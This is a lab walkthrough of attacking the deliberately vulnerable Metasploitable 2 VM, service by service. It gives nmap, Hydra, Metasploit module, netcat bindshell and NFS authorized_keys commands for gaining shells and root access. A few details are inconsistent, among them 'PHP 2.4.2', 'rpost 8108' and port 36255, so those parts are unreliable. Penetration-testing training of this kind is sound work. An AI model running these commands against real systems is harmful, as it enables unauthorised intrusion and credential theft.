Network Scan

The first step towards doing what we want to achieve is a service scan that looks at all the 65535
ports of Metasploitable 2 to see what’s running where and with what version. You will notice the
result in the image below.
nmap -p- -sV 192.168.1.103

Exploiting Port 21: FTP

We have all our ports and services listed now, let’s start by Exploiting port 21 running FTP. We
will be using Hydra for this. The two wordlists for this operation will have default login names
and passwords.
Hydra shows us that we have 4 valid login ID’s and passwords.
hydra -L user.txt -P pass.txt 192.168.1.103 ftp

Let’s put our findings to use and try to connect using FTP.
ftp 192.168.1.103

Exploiting VSFTPD 2.3.4

We have exploited the service running on port 21, now we will exploit the particular version of
the FTP service. We will be searching for an exploit for VSFTPD 2.3.4 using Searchsploit.
searchsploit vsftpd

We now have our exploit, let’s get into Metasploit and run it.
This module exploits a malicious backdoor that was added to the VSFTPD download archive.
This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th, 2011 and
July 1st, 2011 according to the most recent information available. This backdoor was removed
on July 3rd, 2011.
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit (unix/ftp/vsftpd_234_backdoor) > set rhost
192.168.1.103
msf exploit (unix/ftp/vsftpd_234_backdoor) > exploit
And as you can observe, we have owned the command shell of the remote machine.
Exploiting Port 22 SSH
Metasploit has an auxiliary function that we will use on the SSH service running on port 22. One
we get our session through it we will be upgrading it to Meterpreter.
This module will test ssh logins on a range of machines and report successful logins. If you have
loaded a database plugin and connected to a database this module will record successful logins
and hosts so you can track your access.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary (scanner/ssh/ssh_login) > set rhosts 192.168.1.103
msf auxiliary (scanner/ssh/ssh_login) > set user_file
/root/Desktop/user.txt
msf auxiliary (scanner/ssh/ssh_login) > set pass_file
/root/Desktop/pass.txt
msf auxiliary (scanner/ssh/ssh_login) > exploit
And as you can observe, again we have owned the command shell of the remote machine.

Bruteforce Port 22 SSH (RSA Method)

This time we will brute-force the SSH service using a 5720.py. exploit. The exploit comes with
RSA keys that it used to bruteforce the root login. We will basically be running the exploit by
giving it the path to the RSA keys we want to use and the IP of the target machine. Here’s how it
works.
python 5720.py 5622/rsa/2048/ 192.168.1.103 root

Success! It finds the right key pretty quick and gives the exact command to execute to get a
successful connection.
Exploiting port 23 TELNET (Credential Capture)
We are using Wireshark to capture the TCP traffic, it is set to run in the background while we
connect to Metasploitable 2 through telnet using “msfadmin” as credentials for user name and
password.
telnet 192.168.1.103
Once successfully connected we go back to Wireshark. Now we click the “TCP Stream” option
under Analyze > Follow. This shows us the login credentials in plain text.
Exploiting TELNET
This module will test a telnet login on a range of machines and report successful logins. If you
have loaded a database plugin and connected to a database this module will record successful
logins and hosts so you can track your access. The same password and user file from earlier will
be used for this.
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary (scanner/telnet/telnet_login) > set rhosts
192.168.1.103
msf auxiliary (scanner/telnet/telnet_login) > set user_file
/root/Desktop/user.txt
msf auxiliary (scanner/telnet/telnet_login) > set pass_file
/root/Desktop/pass.txt
msf auxiliary (scanner/telnet/telnet_login) > set
stop_on_success true
msf auxiliary (scanner/telnet/telnet_login) > exploit
Port 25 SMTP User Enumeration
Kali comes with a tool called “Smtp-User-Enum”, it has multiple modes that deal with different
facets of SMTP, we will be using it to verify which SMTP usernames exist in victim machine.
We will see that the tool lets us know which all usernames exist that I have saved in my user.txt
file.
smtp-user-enum -M VRFY -U user.txt -t 192.168.1.103

Exploiting Port 80 (PHP_CGI)

We know that port 80 is open so we type in the IP address of Metasploitable 2 in our browser
and notice that it is running PHP. We dig a little further and find which version of PHP is
running and also that it is being run as a CGI. We will now exploit the argument injection
vulnerability of PHP 2.4.2 using Metasploit.
When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument
injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to
achieve code execution. From the advisory: “if there is NO unescaped ‘=’ in the query string, the
string is split on ‘+’ (encoded space) characters, url decoded, passed to a function that escapes
shell metacharacters (the “encoded in a system-defined manner” from the RFC) and then passes
them to the CGI binary.” This module can also be used to exploit the Plesk 0day disclosed by
kingcope and exploited in the wild in June 2013.
msf > use exploit/multi/http/php_arg_injection
msf exploit (multi/http/php_arg_injection) > set rhost
192.168.1.103
msf exploit (multi/http/php_arg_injection) > exploit

Exploiting Port 139 & 445 (Samba)

Samba is running on both port 139 and 445, we will be exploiting it using Metasploit. The
default port for this exploit is set to port 139 but it can be changed to port 445 as well.
msf > use exploit/multi/samba/usermap_script
msf exploit (multi/samba/usermap_script) > set rhost
192.168.1.103
msf exploit (multi/samba/usermap_script) > exploit
Exploiting Port 8080 (Java)
This module takes advantage of the default configuration of the RMI Registry and RMI
Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a
method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it
can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as
well. Note that it does not work against Java Management Extension (JMX) ports since those do
not support remote class loading unless another RMI endpoint is active in the same Java process.
RMI method calls do not support or require any sort of authentication.
We will be using the Remote Method Invocation exploit on the Java service running on port
8080. It’s quite straight forward, just choose the exploit, set the target machine IP and that’s it.
msf > use exploit/multi/misc/java_rmi_server
msf exploit(multi/misc/java_rmi_server) > set rhost
192.168.1.103
msf exploit(multi/misc/java_rmi_server) > exploit

Exploiting Port 5432 (Postgres)

Postgres is associated with SQL is runs on port 5432 and we have a great little exploit that can be
used here.
On some default Linux installations of PostgreSQL, the Postgres service account may write to
the /tmp directory and may source UDF Shared Libraries from there as well, allowing execution
of arbitrary code. This module compiles a Linux shared object file, uploads it to the target host
via the UPDATE pg_largeobject method of binary injection, and creates a UDF (user defined
function) from that shared object. Because the payload is run as the shared object’s constructor,
it does not need to conform to specific Postgres API versions.
msf > use exploit/linux/postgres/postgres_payload
msf exploit (linux/postgres/postgres_payload) > set rhost
192.168.1.103
msf exploit (linux/postgres/postgres_payload) > exploit
Exploiting Port 6667 (UnrealIRCD)
Port 6667 has the Unreal IRCD service running, we will exploit is using a backdoor that’s
available in Metasploit.
This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download
archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009
and June 12th, 2010.
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit (unix/irc/unreal_ircd_3281_backdoor) > set rhost
192.168.1.103
msf exploit (unix/irc/unreal_ircd_3281_backdoor) > exploit

Exploiting Port 36255

This is a weakness that allows arbitrary commands on systems running distccd. We will be using
Distcc Daemon Command Execution. This module uses a documented security weakness to
execute arbitrary commands on any system running distccd.
msf > use exploit/unix/misc/distcc_exec
msf exploit (unix/misc/distcc_exec) > set rhost 192.168.1.103
msf exploit (unix/misc/distcc_exec) > exploit
Remote Login Exploitation
A remote login is a tool that was used before ssh came into the picture. Since we have the login
credentials for Metasploitable 2, we will be using Rlogin to connect to it, using the “-l” flag to
define the login name.
rlogin -l msfadmin 192.168.1.103
Metasploit has a module in its auxiliary section that we can use to get into the rlogin.
msf > use auxiliary/scanner/rservices/rlogin_login
msf auxiliary (scanner/rservices/rlogin_login) > set rhosts
192.168.1.103
msf auxiliary (scanner/rservices/rlogin_login) > set username
root
msf auxiliary (scanner/rservices/rlogin_login) > exploit
Remote Shell Exploitation
Remote shell Protocol is another way to gain a remote shell, it is a legitimate service that we will
use to access the target machine with login credentials to run a certain command.
rsh -l msfadmin 192.168.1.103 ifconfig
Exploiting Distributed Ruby Remote Code Execution
(8787)
Now that we know that this service is running successfully, let’s try to exploit it using
Metasploit.
This module exploits remote code execution vulnerabilities in dRuby.
msf > use exploit/linux/misc/drb_remote_codeexec
msf exploit (linux/misc/drb_remote_code) > set rhost
192.168.1.103
msf exploit (linux/misc/drb_remote_code) > exploit
Bindshell Exploitation
Metasploitable 2 comes with an open bindshell service running on port 1524. We will be using
Netcat to connect to it.
nc 192.168.1.103 1524
Exploiting Port 5900 (VNC)
Virtual Network Computing or VNC service runs on port 5900, this service can be exploited
using a module in Metasploit to find the login credentials.
This module will test a VNC server on a range of machines and report successful logins.
Currently, it supports RFB protocol version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge-
response authentication method.
msf > use auxiliary/scanner/vnc/vnc_login
msf auxiliary (scanner/vnc/vnc_login) > set login 192.168.1.103
msf auxiliary (scanner/vnc/vnc_login) > exploit
Let’s put what we’ve found to the test by connecting using the vncviewer
vncviewer 192.168.1.103

The credentials work and we have a remote desktop session that pops up in Kali.
Access Port 2121 (ProFTPD)
We will connect to the target machine using Telnet running on port 2121 using the default
credentials for Metasplotable 2.
telnet 192.168.1.103 2121
Exploiting Port 8180 (Apache Tomcat)
We saw during the service scan that Apache Tomcat is running on port 8180. Incidentally,
Metasploit has an exploit for Tomcat that we can use to get a Meterpreter session. The exploit
uses the default credentials used by Tomcat to gain access.
This module can be used to execute a payload on Apache Tomcat servers that have an exposed
“manager” application. The payload is uploaded as a WAR archive containing a JSP application
using a POST request against the /manager/html/upload component. NOTE: The compatible
payload sets vary based on the selected target. For example, you must select the Windows target
to use native Windows payloads.
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit (multi/http/tomcat_mgr_upload) > set rhost
192.168.1.103
msf exploit (multi/http/tomcat_mgr_upload) > set rpost 8108
msf exploit (multi/http/tomcat_mgr_upload) > set httpusername
tomcat
msf exploit (multi/http/tomcat_mgr_upload) > set httppassword
tomcat
msf exploit (multi/http/tomcat_mgr_upload) > exploit
Privilege Escalation via Port 2049: NFS
In this method, we will be creating an ssh key without a passphrase and exchanging it with the
ssh key of the victim machine for the root user.
First, we use ssh-keygen to generate an RSA keypair without a key phrase, then we place it in the
“/root/.ssh” folder where the key is found by default. Once the key is created and placed, we will
create a directory “/tmp/sshkey/” in our local machine.
The next part is a little tricky, we will be mounting the directory we just made on the victim
machine using the Network File Sharing Function. Once mounted we write the key from our
machine to the victim’s machine, a sort of an override, using the cat command. The thing to keep
in mind here is that the key we have is without a passphrase so the after the override the key in
the victim machine is also without a passphrase, so when it is connected using ssh, it’s using a
blank password.
The key is now copied so we unmount the directory and connect as the root user using ssh.
showmount -e 192.168.1.103
ssh-keygen
mkdir /tmp/sshkey
mount -t nfs 192.168.1.103:/ /tmp/sshkey/
cat ~/ .ssh/id_rsa.pub >>/tmp/sshkey/root/.ssh/authorized_keys
umount /tmp/sshkey
ssh [email protected]
Exploiting Port 3306 (MYSQL)
The MySQL database in Metasploitable 2 has negligible security, we will connect to it using the
MySQL function of Kali by defining the username and host IP. The password will be left blank.
mysql -u root -h 192.168.1.103 -p